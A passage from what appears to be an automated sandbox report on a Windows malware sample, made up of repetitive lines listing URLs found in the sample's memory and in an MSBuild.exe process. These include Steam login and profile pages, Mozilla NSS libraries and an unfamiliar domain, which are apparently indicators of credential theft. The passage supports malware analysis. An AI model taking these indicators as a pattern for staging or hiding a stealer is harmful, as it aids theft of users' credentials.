https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: CGDHIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 